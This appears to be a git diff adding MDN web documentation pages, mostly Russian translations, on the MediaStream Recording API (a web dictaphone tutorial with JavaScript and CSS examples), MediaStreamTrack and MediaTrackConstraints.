These lines create a new Promise which is fulfilled when both of the two Promises (stopped and recorded) have resolved. Once that resolves, the array data is returned by startRecording() to its caller.
+
+ +

Stopping the input stream

+ +

The stop() function simply stops the input media:

+ +
function stop(stream) {
+  stream.getTracks().forEach(track => track.stop());
+}
+
+ +

This works by calling {{domxref("MediaStream.getTracks()")}}, using {{jsxref("Array.forEach", "forEach()")}} to call {{domxref("MediaStreamTrack.stop()")}} on each track in the stream.

+ +

Getting an input stream and setting up the recorder

+ +

Now let's look at the most intricate piece of code in this example: our event handler for clicks on the start button:

+ +
startButton.addEventListener("click", function() {
+  navigator.mediaDevices.getUserMedia({
+    video: true,
+    audio: true
+  }).then(stream => {
+    preview.srcObject = stream;
+    downloadButton.href = stream;
+    preview.captureStream = preview.captureStream || preview.mozCaptureStream;
+    return new Promise(resolve => preview.onplaying = resolve);
+  }).then(() => startRecording(preview.captureStream(), recordingTimeMS))
+  .then (recordedChunks => {
+    let recordedBlob = new Blob(recordedChunks, { type: "video/webm" });
+    recording.src = URL.createObjectURL(recordedBlob);
+    downloadButton.href = recording.src;
+    downloadButton.download = "RecordedVideo.webm";
+
+    log("Successfully recorded " + recordedBlob.size + " bytes of " +
+        recordedBlob.type + " media.");
+  })
+  .catch(log);
+}, false);
+ +

When a {{event("click")}} event occurs, here's what happens:

+ +
+
Lines 2-4
+
{{domxref("navigator.mediaDevices.getUserMedia()")}} is called to request a new {{domxref("MediaStream")}} that has both video and audio tracks. This is the stream we'll record.
+
Lines 5-9
+
When the Promise returned by getUserMedia() is resolved, the preview {{HTMLElement("video")}} element's {{domxref("HTMLMediaElement.srcObject","srcObject")}} property is set to be the input stream, which causes the video being captured by the user's camera to be displayed in the preview box. Since the <video> element is muted, the audio won't play. The "Download" button's link is then set to refer to the stream as well. Then, in line 8, we arrange for preview.captureStream() to call preview.mozCaptureStream() so that our code will work on Firefox, on which the {{domxref("MediaRecorder.captureStream()")}} method is prefixed. Then a new {{jsxref("Promise")}} which resolves when the preview video starts to play is created and returned.
+
Line 10
+
When the preview video begins to play, we know there's media to record, so we respond by calling the {{anch("Starting media recording", "startRecording()")}} function we created earlier, passing in the preview video stream (as the source media to be recorded) and recordingTimeMS as the number of milliseconds of media to record. As mentioned before, startRecording() returns a {{jsxref("Promise")}} whose resolution handler is called (receiving as input an array of {{domxref("Blob")}} objects containing the chunks of recorded media data) once recording has completed.
+
Lines 11-15
+
The recording process's resolution handler receives as input an array of media data Blobs locally known as recordedChunks. The first thing we do is merge the chunks into a single {{domxref("Blob")}} whose MIME type is "video/webm" by taking advantage of the fact that the {{domxref("Blob.Blob", "Blob()")}} constructor concatenates arrays of objects into one object. Then {{domxref("URL.createObjectURL()")}} is used to create an URL that references the blob; this is then made the value of the recorded video playback element's {{htmlattrxref("src", "video")}} attribute (so that you can play the video from the blob) as well as the target of the download button's link. +

Then the download button's {{htmlattrxref("download", "a")}} attribute is set. While the download attribute can be a Boolean, you can also set it to a string to use as the name for the downloaded file. So by setting the download link's download attribute to "RecordedVideo.webm", we tell the browser that clicking the button should download a file named "RecordedVideo.webm" whose contents are the recorded video.

+
+
Lines 17-18
+
The size and type of the recorded media are output to the log area below the two videos and the download button.
+
Line 20
+
The catch() for all the Promises outputs the error to the logging area by calling our log() function.
+
+ +

Handling the stop button

+ +

The last bit of code adds a handler for the {{event("click")}} event on the stop button using {{domxref("EventTarget.addEventListener", "addEventListener()")}}:

+ +
stopButton.addEventListener("click", function() {
+  stop(preview.srcObject);
+}, false);
+ +

This simply calls the {{anch("Stopping the input stream", "stop()")}} function we covered earlier.

+
+ +

Result

+ +

When put all together with the rest of the HTML and the CSS not shown above, it looks and works like this:

+ +

{{ EmbedLiveSample('Example', 600, 440, "", "", "", "camera;microphone") }}

+ +

You can {{LiveSampleLink("Example", "take a look at all the code")}}, including the parts hidden above because they aren't critical to the explanation of how the APIs are being used.

+ +

See also

+ + diff --git a/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html b/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html new file mode 100644 index 0000000000..a054df7b8f --- /dev/null +++ b/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html @@ -0,0 +1,263 @@ +--- +title: Использование интерфейса записи медиапотока +slug: Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API +translation_of: Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API +--- +

{{DefaultAPISidebar("MediaStream Recording")}}

+ +
+

Интерфейс MediaStream Recording  позволяет записывать аудио и видео потоки. При использовании с методом {{domxref("MediaDevices.getUserMedia()","navigator.mediaDevices.getUserMedia()")}}, предлагает простой способ записи данных с устройств пользователя, и немедленное их использование в веб приложениях.И аудио и видео могут быть записаны вместе или по отдельности.Цель данной статьи - предоставить базовое руководство о том как использовать объект MediaRecorder, реализующий такой програмный интерфей.

+
+ +

Пример приложени: Веб диктофон

+ +

An image of the Web dictaphone sample app - a sine wave sound visualization, then record and stop buttons, then an audio jukebox of recorded tracks that can be played back.

+ +

Для демонстрации основной функциональности интерфейса  MediaRecorder API, мы создали веб диктофон, позволяющий записывать отрывки аудио и проигрывать их после записи. Он визуализирует устройства ввода звука, используя интерфейс  Web Audio API. В этой статье будем концентрироваться на функциональности записи и воспроизведения.

+ +

Посмотрите получившуюся работающую демонстрацию, или скачайте исходники на GitHub.

+ +

CSS плюшки

+ +

Разметка HTML довольно проста, поэтому не будем ее рассматривать подробно, но есть более интересные места в CSS, которые стоило бы отметить, и о которых поговорим ниже. Если вам не интересна тема CSS , и хотите сразу приступить к  JavaScript, то перейдите к части основных настроек приложения {{anch("Basic app setup")}}.

+ +

Сохраняйте интерфейс ограниченным областью просмотра, независимо от высоты устройства, с функцией calc()

+ +

Функция {{cssxref("calc")}} одна из полезных утилит возникших в  CSS, которая не выглядет чем-то выдающимся, но в скоре заставит вас думать о том, почему вы не использовали её раньше?; и почему CSS2 макет такой неуклюжий? Она позволяет выполнять вычисления для определения значений из различных CSS единиц измерений, смешивая их в процессе вычисления.

+ +

К примеру, в приложении веб диктафона мы создали три области интерфейса, расположенные вертикально. Первые две имеют фиксированную высоту (заголовок и элементы управления):

+ +
header {
+  height: 70px;
+}
+
+.main-controls {
+  padding-bottom: 0.7rem;
+  height: 170px;
+}
+ +

Третья область (содержащая записываемые образцы, которые можно воспроизвести) должна занимать оставшуюся от первых двух область, независимо от высоты устройства пользователя. Задача может быть решена, установкой высоты третьей области равной 100% родительской высоты, минус высоты и отступы первых двух.

+ +
.sound-clips {
+  box-shadow: inset 0 3px 4px rgba(0,0,0,0.7);
+  background-color: rgba(0,0,0,0.1);
+  height: calc(100% - 240px - 0.7rem);
+  overflow: scroll;
+}
+ +
+

Примечание : Функция calc() имеет хорошую поддержку среди современных браузеров, даже в устаревшем Internet Explorer 9.

+
+ +

Хак чекбокса для отображение/скрытия

+ +

Он уже хорошо документирован, но думаем его можно упоминуть, заключающийся в том, что можно кликнуть на  элемент {{htmlelement("label")}} , содержащий элемент чекбокса для переключения самого чекбока. В нашем приложении веб диктафона он управляет отображением блока информации о приложении, при нажатии на иконку знака вопроса в правом верхнем углу. Сначала мы стилизуем элемент <label> , тем, что мы хотим, убеждаясь в том, что он имеет достаточно высокий  z-index , всегда находящийся выше других элементов :

+ +
label {
+    font-family: 'NotoColorEmoji';
+    font-size: 3rem;
+    position: absolute;
+    top: 2px;
+    right: 3px;
+    z-index: 5;
+    cursor: pointer;
+}
+ +

Затем скрываем настоящий чекбокс, избегая неразберихи в интерфейсе :

+ +
input[type=checkbox] {
+   position: absolute;
+   top: -100px;
+}
+ +

Затем стилизуем блок информации (обернутый в элемент {{htmlelement("aside")}}) по вкусу, давая ему фиксированную позицию, так что бы он не показывался в потоке разметки и влиял на основной интерфейс, трансформируем его позицию функцией трансформации, определяя его место по умолчанию, и меняем значение функции трансформации для плавного его отображения/скрытия:

+ +
aside {
+   position: fixed;
+   top: 0;
+   left: 0;
+   text-shadow: 1px 1px 1px black;
+   width: 100%;
+   height: 100%;
+   transform: translateX(100%);
+   transition: 0.6s all;
+   background-color: #999;
+    background-image: linear-gradient(to top right, rgba(0,0,0,0), rgba(0,0,0,0.5));
+}
+ +

Наконец определяем правило при нажатии чекбокса . Когда он выбран (когда нажат элемент label) соседний элемент <aside> получит значение горизонтального перехода и переместится в представление:

+ +
input[type=checkbox]:checked ~ aside {
+  transform: translateX(0);
+}
+ +

Основные настройки приложения

+ +

Для получения мелиапотока, который нужно захватить используется метод getUserMedia(). Затем используется интерфейс  MediaRecorder, для записи потока и вывода каждого отрывка записи в атрибут элемента  {{htmlelement("audio")}}  для воспроизведения.

+ +

Объявим некоторые переменные для кнопок начала записи и остановки, а так же элемент {{htmlelement("article")}} , который будет содержать аудио плееры:

+ +
const record = document.querySelector('.record');
+const stop = document.querySelector('.stop');
+const soundClips = document.querySelector('.sound-clips');
+ +

Наконец, для этого раздела создадим базовую структуру getUserMedia :

+ +
if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
+   console.log('getUserMedia supported.');
+   navigator.mediaDevices.getUserMedia (
+      // Установим ограничение на получение только аудио потока
+      {
+         audio: true
+      })
+      // Функция успешного получения потока
+      .then(function(stream) {
+
+
+      })
+      // Функция ошибок
+      .catch(function(err) {
+         console.log('The following getUserMedia error occured: ' + err);
+      }
+   );
+} else {
+   console.log('getUserMedia not supported on your browser!');
+}
+ +

Все обернуто в условный тест, проверяющий поддержку getUserMedia до запуска чего нибудь. Затем вызываем  getUserMedia() и внутри определяем:

+ + + +
+

Примечание :  Весь код ниже помещается внутрь функции успешного вызова getUserMedia.

+
+ +

Захват медиа потока

+ +

Как только функция getUserMedia успешно получила медиапоток, создаем новый объект типа  Media Recorder конструктором MediaRecorder() и передаем ему поток, полученный функцией. Это точка входа использования интерфейса  MediaRecorder —  теперь поток готов для захвата и упаковки в объект  {{domxref("Blob")}}, в формате по умолчанию, установленного для браузера.

+ +
const mediaRecorder = new MediaRecorder(stream);
+ +

Существуют несколько методов объекта {{domxref("MediaRecorder")}} , позволяющие контролировать запись медиапотока; в приложении веб диктофон используется два и прослушиваем некоторые события. Прежде всего используем метод {{domxref("MediaRecorder.start()")}} , для запуска записи потока, после нажатия кнопки старта:

+ +
record.onclick = function() {
+  mediaRecorder.start();
+  console.log(mediaRecorder.state);
+  console.log("recorder started");
+  record.style.background = "red";
+  record.style.color = "black";
+}
+ +

Когда объект  MediaRecorder приступает к записи его свойство {{domxref("MediaRecorder.state")}} получает значение "recording".

+ +

По мере записи, нам нужно получать аудио данные. Для этого регистрируем обработчик события  {{domxref("mediaRecorder.ondataavailable")}}:

+ +
let chunks = [];
+
+mediaRecorder.ondataavailable = function(e) {
+  chunks.push(e.data);
+}
+ +
+

Примечание : Браузер будет запускать события dataavailable по необходимости (когда внутренний буфер объекта будет переполняться), но если разработчику нужно вмешаться, в вызов метода start() можно включить параметр timeslice , определяющий диапазон захвата в миллисекундах — к примеру, start(10000) ,  или вызывать функцию запроса данных  {{domxref("MediaRecorder.requestData()")}} , запуская событие по необходимости.

+
+ +

Наконец используем метод  {{domxref("MediaRecorder.stop()")}} при нажатии кнопки остановки записи и завершения упаковки объекта  {{domxref("Blob")}} для его использования в приложении.

+ +
stop.onclick = function() {
+  mediaRecorder.stop();
+  console.log(mediaRecorder.state);
+  console.log("recorder stopped");
+  record.style.background = "";
+  record.style.color = "";
+}
+ +

Обратите внимание, что запись потока может остановиться естественно, если медиапоток кончился(к примеру, если захватывается музыкальный трек и он кончился, или пользователь отключил использование микрофона, чей поток захватывается).

+ +

Получение и использования объекта blob

+ +

Когда запись останавливается, свойство state получает значение "inactive", и запускается событие stop. Мы устанавливаем обработчик этого события, используя свойство {{domxref("mediaRecorder.onstop")}}, завершая запись всех полученных порций  объекта blob на момент остановки:

+ +
mediaRecorder.onstop = function(e) {
+  console.log("recorder stopped");
+
+  const clipName = prompt('Enter a name for your sound clip');
+
+  const clipContainer = document.createElement('article');
+  const clipLabel = document.createElement('p');
+  const audio = document.createElement('audio');
+  const deleteButton = document.createElement('button');
+
+  clipContainer.classList.add('clip');
+  audio.setAttribute('controls', '');
+  deleteButton.innerHTML = "Delete";
+  clipLabel.innerHTML = clipName;
+
+  clipContainer.appendChild(audio);
+  clipContainer.appendChild(clipLabel);
+  clipContainer.appendChild(deleteButton);
+  soundClips.appendChild(clipContainer);
+
+  const blob = new Blob(chunks, { 'type' : 'audio/ogg; codecs=opus' });
+  chunks = [];
+  const audioURL = window.URL.createObjectURL(blob);
+  audio.src = audioURL;
+
+  deleteButton.onclick = function(e) {
+    let evtTgt = e.target;
+    evtTgt.parentNode.parentNode.removeChild(evtTgt.parentNode);
+  }
+}
+ +

Пройдем весь код выше и посмотрим, что он делает.

+ +

Сначала отображаем пользователю диалог с запросом имени будущей записи.

+ +

Затем создаем структуру HTML , вставляя её в контейнер, представляющийся элементом {{htmlelement("article")}} .

+ +
<article class="clip">
+  <audio controls></audio>
+  <p>your clip name</p>
+  <button>Delete</button>
+</article>
+ +

После этого создаем объект {{domxref("Blob")}} с комбинацией наших записанных частей аудио и создаем объект URL ссылающийся на него, используя метод window.URL.createObjectURL(blob). Затем устанавливаем значение атрибута {{htmlattrxref("src", "audio")}} элемента {{HTMLElement("audio")}} в созданный объект URL, так, что бы при нажатии на кнопку воспроизведения объект Blob передал свои данные элементу.

+ +

Наконец, устанавливаем обработчик события onclick на кнопке удаления, для удаления всей структуры HTML проигрывания результата записи (элемент clip).

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("MediaStream Recording", "#MediaRecorderAPI")}}{{Spec2("MediaStream Recording")}}Initial definition
+ +

Совместимость с браузерами

+ +

MediaRecorder

+ + + +

{{Compat("api.MediaRecorder")}}

+ +

Смтотри так же

+ + diff --git a/files/ru/web/api/mediastreamtrack/index.html b/files/ru/web/api/mediastreamtrack/index.html new file mode 100644 index 0000000000..c4cde3ab2a --- /dev/null +++ b/files/ru/web/api/mediastreamtrack/index.html @@ -0,0 +1,128 @@ +--- +title: MediaStreamTrack +slug: Web/API/MediaStreamTrack +tags: + - API + - API потоков медия + - MediaStreamTrack + - WebRTC + - Видео + - Запись медиа и API для потоков + - Интерфейс + - Медиа + - аудио +translation_of: Web/API/MediaStreamTrack +--- +
{{APIRef("Media Capture and Streams")}}
+ +

Интерфейс MediaStreamTrack представляет один медиа трек в потоке; обычно это адуио или видео трек, но могут использоваться и другие типы.

+ +

Свойства

+ +

В дополнение к свойствам, перечисленным ниже, MediaStreamTrack имеет свойства с ограничениями, которые можноустановить с помощью {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} и просмотреть с через {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}} и {{domxref("MediaStreamTrack.getSettings", "getSettings()")}}. Смотрите capabilities, constraints, and settings, чтобы узнать, как правильно работать со свойствами с ограничениями. Если использовать их неправильно, ваш код будет ненадёжным.

+ +
+
{{domxref("MediaStreamTrack.contentHint")}}
+
Строка, которую веб приложение может использовать для создания подсказок, какой тип данных содержит трек, чтобы их могли различать пользователи API.
+
{{domxref("MediaStreamTrack.enabled")}}
+
Имеет значение true, если трек включён, то ечть может может отображать поток медиа; или false, если он выключен, то есть отображает не поток данных, а чёрное изображение без звука. Если трек отключён, это свойство можно менять, но это не будет давать никакого эффекта. +
Обратите внимание: Вы можете создать стандартную функцию "заглушить звук", устанавливая свойство enabled в значение false. Свойство muted используется, когда данные отсутствуют из-за технической проблемы.
+
+
{{domxref("MediaStreamTrack.id")}} {{readonlyInline}}
+
Возвразает объект {{domxref("DOMString")}}, содержащий уникальный идентификатор (GUID) трека; генерируется браузером.
+
{{domxref("MediaStreamTrack.isolated")}} {{readonlyInline}}
+
Возвращает true, если трек изолирован, то есть не доступен документу, которому принадлежит. Это случается, когда устанавливается свойство {{domxref("MediaStreamTrack.peerIdentity", "peerIdentity")}} или трек исходит от cross-origin ресурса.
+
{{domxref("MediaStreamTrack.kind")}} {{readonlyInline}}
+
Возвращает объект {{domxref("DOMString")}} со значением "audio", если это аудио трек или "video", если это видео трек. Не меняется, когда трек отвязывается от источника.
+
{{domxref("MediaStreamTrack.label")}} {{readonlyInline}}
+
Возвращает объект {{domxref("DOMString")}}, содержащий установленные агентом метки, обозначающие источник трека, например "internal microphone" (внутренний микрофон). Строка может быть пустой и является таковой, если не подключён никакой источник. Когда трек отвязывается от источника, метка не меняется.
+
{{domxref("MediaStreamTrack.muted")}} {{readonlyInline}}
+
Возвращает true, если трек не может предоставить данные по техническим причинам. +
Обратите внимание: Вы можете создать стандартную функцию "заглушить звук", устанавливая свойство enabled в значение false, и возвращать звук, снова устанавливая его в значение true.
+
+
{{domxref("MediaStreamTrack.readonly")}} {{readonlyInline}}
+
Возвращает true, если трек предназначен только для чтения (например, если его источник - видео файл или камера, настройки которой не могут быть изменены), иначе false.
+
{{domxref("MediaStreamTrack.readyState")}} {{readonlyInline}}
+
Возвращает одно из следующих значений, обозначающих статус трека: +
    +
  • "live" означает, что источник подключен и делает всё, чтобы предоставить данные в реальном времени. В этом случае, поток данных можно включать и выключать с помощью свойство {{domxref("MediaStreamTrack.enabled", "enabled")}}.
    • +
  • "ended" означает, что источник больше не предоставляет и больше не будет предоставлять данные.
    • +
+
+
{{domxref("MediaStreamTrack.remote")}} {{readonlyInline}} {{deprecated_inline}}
+
Имеет значение true, если источником трека является {{domxref("RTCPeerConnection")}}, иначе false.
+
+ +

Методы

+ +
+
{{domxref("MediaStreamTrack.applyConstraints()")}}
+
Позволяет приложению указывать желательные и/или допустимые диапазоны значений для любого количества свойств с ограничениями объекта MediaStreamTrack.
+
{{domxref("MediaStreamTrack.clone()")}}
+
Возвращает копию объекта MediaStreamTrack.
+
{{domxref("MediaStreamTrack.getCapabilities()")}}
+
Возвращает список свойств с ограничениями, доступных объекту MediaStreamTrack.
+
{{domxref("MediaStreamTrack.getConstraints()")}}
+
Возвращает объект {{domxref('MediaTrackConstraints')}}, содержащий установленные ограничения на трек; возвращаемое значение удовлетворяет ограничениям, установленным методом {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}.
+
{{domxref("MediaStreamTrack.getSettings()")}}
+
Возвращает объект {{domxref("MediaTrackSettings")}}, содержащий тукщее значение всех свойств с ограничениями объекта MediaStreamTrack.
+
{{domxref("MediaStreamTrack.stop()")}}
+
Останавливает проигрывание источника, к которому привязан трек. И источник, и трек отвязываются. Состояние трека устанавливается в значение ended.
+
+ +

События

+ +
+
ended
+
Вызывается, когда проигрывание трека останавливается (когда значение {{domxref("MediaStreamTrack.readyState", "readyState")}} становится ended).
+ Обработчик может быть установлен как свойство onended.
+
mute
+
Вызывается, когда {{domxref("MediaStreamTrack.muted", "muted")}} принимает значение true, что означает, что трек временно не может предоставлять данне (например, при плохом подключении сети).
+ Обработчик может быть установлен как свойство onmute.
+
isolationchange
+
Вызывается, когда свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} принимает значение true из-за того, что документ больше не имеет разрешение на доступ к треку.
+ Обработчик может быть установлен как свойство onisolationchange.
+
overconstrained {{deprecated_inline}}
+
Вызывается, когда источник не удовлетворяет ограничениям трека, что делает его непригодным для использования.
+ Обработчик может быть установлен как свойство onoverconstrained.
+
unmute
+
Вызывается, когда данные снова становятся доступными, то есть пропадают технические проблемы.
+ Обработчик может быть установлен как свойство onunmute.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#mediastreamtrack', 'MediaStreamTrack')}}{{Spec2('Media Capture')}}Initial definition
{{SpecName("WebRTC Identity", "#isolated-track", "Isolated tracks")}}{{Spec2("WebRTC Identity")}}Additional properties for isolated track support
+ +

Поддержка браузерами

+ +
+ + +

{{Compat("api.MediaStreamTrack")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/mediatrackconstraints/index.html b/files/ru/web/api/mediatrackconstraints/index.html new file mode 100644 index 0000000000..1265eca23f --- /dev/null +++ b/files/ru/web/api/mediatrackconstraints/index.html @@ -0,0 +1,195 @@ +--- +title: MediaTrackConstraints +slug: Web/API/MediaTrackConstraints +tags: + - API + - Constraints + - Dictionary + - Interface + - Media + - Media Capture and Streams API + - Media Streams API + - MediaTrackConstraints + - NeedsTranslation + - Reference + - Screen Sharing + - Screen Sharing API + - Sharing + - TopicStub + - WebRTC + - screen +translation_of: Web/API/MediaTrackConstraints +--- +
{{APIRef("Media Capture and Streams")}}
+ +

The MediaTrackConstraints dictionary is used to describe a set of capabilities and the value or values each can take on. A constraints dictionary is passed into {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} to allow a script to establish a set of exact (required) values or ranges and/or preferred values or ranges of values for the track, and the most recently-requested set of custom constraints can be retrieved by calling {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}.

+ +

For each constraint, you can typically specify an exact value you need, an ideal value you want, a range of acceptable values, and/or a value which you'd like to be as close to as possible. The specifics vary somewhat depending on the type of the constrainable property.

+ +

To learn more about how constraints work, see Capabilities, constraints, and settings.

+ +

Properties

+ +

Some combination—but not necessarily all—of the following properties will exist on the object. This may be because a given browser doesn't support the property, or because it doesn't apply. For example, because {{Glossary("RTP")}} doesn't provide some of these values during negotiation of a WebRTC connection, a track associated with a {{domxref("RTCPeerConnection")}} will not include certain values, such as {{domxref("MediaTrackConstraints.facingMode", "facingMode")}} or {{domxref("MediaTrackConstraints.groupId", "groupId")}}.

+ +

Properties of all media tracks

+ +
+
{{domxref("MediaTrackConstraints.deviceId", "deviceId")}}
+
A {{domxref("ConstrainDOMString")}} object specifying a device ID or an array of device IDs which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.groupId", "groupId")}}
+
A {{domxref("ConstrainDOMString")}} object specifying a group ID or an array of group IDs which are acceptable and/or required.
+
+ +

Properties of audio tracks

+ +
+
{{domxref("MediaTrackConstraints.autoGainControl", "autoGainControl")}}
+
A {{domxref("ConstrainBoolean")}} object which specifies whether automatic gain control is preferred and/or required.
+
{{domxref("MediaTrackConstraints.channelCount", "channelCount")}}
+
A {{domxref("ConstrainLong")}} specifying the channel count or range of channel counts which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.echoCancellation", "echoCancellation")}}
+
A {{domxref("ConstrainBoolean")}} object specifying whether or not echo cancellation is preferred and/or required.
+
{{domxref("MediaTrackConstraints.latency", "latency")}}
+
A {{domxref("ConstrainDouble")}} specifying the latency or range of latencies which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.noiseSuppression", "noiseSuppression")}}
+
A {{domxref("ConstrainBoolean")}} which specifies whether noise suppression is preferred and/or required.
+
{{domxref("MediaTrackConstraints.sampleRate", "sampleRate")}}
+
A {{domxref("ConstrainLong")}} specifying the sample rate or range of sample rates which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.sampleSize", "sampleSize")}}
+
A {{domxref("ConstrainLong")}} specifying the sample size or range of sample sizes which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.volume", "volume")}}
+
A {{domxref("ConstrainDouble")}} specifying the volume or range of volumes which are acceptable and/or required.
+
+ +

Properties of image tracks

+ +
+
{{domxref("MediaTrackConstraints.whiteBalanceMode","whiteBalanceMode")}}
+
A {{jsxref("String")}} specifying one of "none", "manual", "single-shot", or "continuous".
+
{{domxref("MediaTrackConstraints.exposureMode","exposureMode")}}
+
A {{jsxref("String")}} specifying one of "none", "manual", "single-shot", or "continuous".
+
{{domxref("MediaTrackConstraints.focusMode","focusMode")}}
+
A {{jsxref("String")}} specifying one of "none", "manual", "single-shot", or "continuous".
+
{{domxref("MediaTrackConstraints.pointsOfInterest","pointsOfInterest")}}
+
The pixel coordinates on the sensor of one or more points of interest. This is either an object in the form { x:value, y:value } or an array of such objects, where value  is a double-precision integer.
+
{{domxref("MediaTrackConstraints.expsureCompensation","exposureCompensation")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying f-stop adjustment by up to ±3. 
+
{{domxref("MediaTrackConstraints.colorTemperature","colorTemperature")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired color temperature in degrees kelvin.
+
{{domxref("MediaTrackConstraints.iso","iso")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired iso setting.
+
{{domxref("MediaTrackConstraints.brightness","brightness")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired brightness setting.
+
{{domxref("MediaTrackConstraints.contrast","contrast")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of difference between light and dark.
+
{{domxref("MediaTrackConstraints.saturation","saturation")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of color intensity.
+
{{domxref("MediaTrackConstraints.sharpness","sharpness")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the intensity of edges.
+
{{domxref("MediaTrackConstraints.focusDistance","focusDistance")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying distance to a focused object.
+
{{domxref("MediaTrackConstraints.zoom","zoom")}}
+
A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the desired focal length.
+
{{domxref("MediaTrackConstraints.torch","torch")}}
+
A {{jsxref("Boolean")}} defining whether the fill light is continuously connected, meaning it stays on as long as the track is active.
+
+ +

Properties of video tracks

+ +
+
{{domxref("MediaTrackConstraints.aspectRatio", "aspectRatio")}}
+
A {{domxref("ConstrainDouble")}} specifying the video aspect ratio or range of aspect ratios which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.facingMode", "facingMode")}}
+
A {{domxref("ConstrainDOMString")}} object specifying a facing or an array of facings which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.frameRate", "frameRate")}}
+
A {{domxref("ConstrainDouble")}} specifying the frame rate or range of frame rates which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.height", "height")}}
+
A {{domxref("ConstrainLong")}} specifying the video height or range of heights which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.width", "width")}}
+
A {{domxref("ConstrainLong")}} specifying the video width or range of widths which are acceptable and/or required.
+
{{domxref("MediaTrackConstraints.resizeMode", "resizeMode")}}
+
A {{domxref("ConstrainDOMString")}} object specifying a mode or an array of modes the UA can use to derive the resolution of a video track. Allowed values are none and crop-and-scale. none means that the user agent uses the resolution provided by the camera, its driver or the OS. crop-and-scale means that the user agent can use cropping and downscaling on the camera output  in order to satisfy other constraints that affect the resolution.
+
+ +

Properties of shared screen tracks

+ +

These constraints apply to MediaTrackConstraints objects specified as part of the {{domxref("DisplayMediaStreamConstraints")}} object's {{domxref("DisplayMediaStreamConstraints.video", "video")}} property when using {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to obtain a stream for screen sharing.

+ +
+
{{domxref("MediaTrackConstraints.cursor", "cursor")}}
+
+

A {{domxref("ConstrainDOMString")}} which specifies whether or not to include the mouse cursor in the generated track, and if so, whether or not to hide it while not moving. The value may be a single one of the following strings, or an array of them to allow the browser flexibility in deciding what to do about the cursor.

+ +
+
always
+
The mouse is always visible in the video content of the {domxref("MediaStream"), unless the mouse has moved outside the area of the content.
+
motion
+
The mouse cursor is always included in the video if it's moving, and for a short time after it stops moving.
+
never
+
The mouse cursor is never included in the shared video.
+
+
+
{{domxref("MediaTrackConstraints.displaySurface", "displaySurface")}}
+
+

A {{domxref("ConstrainDOMString")}} which specifies the types of display surface that may be selected by the user. This may be a single one of the following strings, or a list of them to allow multiple source surfaces:

+ +
+
application
+
The stream contains all of the windows of the application chosen by the user rendered into the one video track.
+
browser
+
The stream contains the contents of a single browser tab selected by the user.
+
monitor
+
The stream's video track contains the entire contents of one or more of the user's screens.
+
window
+
The stream contains a single window selected by the user for sharing.
+
+
+
{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}
+
A {{domxref("ConstrainBoolean")}} value which may contain a single Boolean value or a set of them, indicating whether or not to allow the user to choose source surfaces which do not directly correspond to display areas. These may include backing buffers for windows to allow capture of window contents that are hidden by other windows in front of them, or buffers containing larger documents that need to be scrolled through to see the entire contents in their windows.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediatrackconstraints')}}{{Spec2('Media Capture')}}Initial definition.
{{SpecName('MediaStream Image', '#mediatrackconstraintset-section')}}{{Spec2('MediaStream Image')}}Adds image constraints.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.MediaTrackConstraints")}}

+
+ +

See also

+ + diff --git "a/files/ru/web/api/mediatrackconstraints/\321\215\321\205\320\276\320\277\320\276\320\264\320\260\320\262\320\273\320\265\320\275\320\270\320\265/index.html" "b/files/ru/web/api/mediatrackconstraints/\321\215\321\205\320\276\320\277\320\276\320\264\320\260\320\262\320\273\320\265\320\275\320\270\320\265/index.html" new file mode 100644 index 0000000000..3e8d1f1a4e --- /dev/null +++ "b/files/ru/web/api/mediatrackconstraints/\321\215\321\205\320\276\320\277\320\276\320\264\320\260\320\262\320\273\320\265\320\275\320\270\320\265/index.html" @@ -0,0 +1,77 @@ +--- +title: MediaTrackConstraints.echoCancellation +slug: Web/API/MediaTrackConstraints/Эхоподавление +tags: + - API + - Media Capture and Streams API + - Media Streams API + - MediaTrackConstrains + - WebRTC + - Медиа + - Ограничения + - Свойство + - Эхоподавление + - справочник +translation_of: Web/API/MediaTrackConstraints/echoCancellation +--- +
{{APIRef("Media Capture and Streams")}}
+ +

Свойство echoCancellation объекта {{domxref("MediaTrackConstraints")}} это {{domxref("ConstrainBoolean")}} описывающее запрашиваемые или обязательные ограничения накладываемые на ограничивающее свойство {{domxref("MediaTrackSettings.echoCancellation", "echoCancellation")}}.

+ +

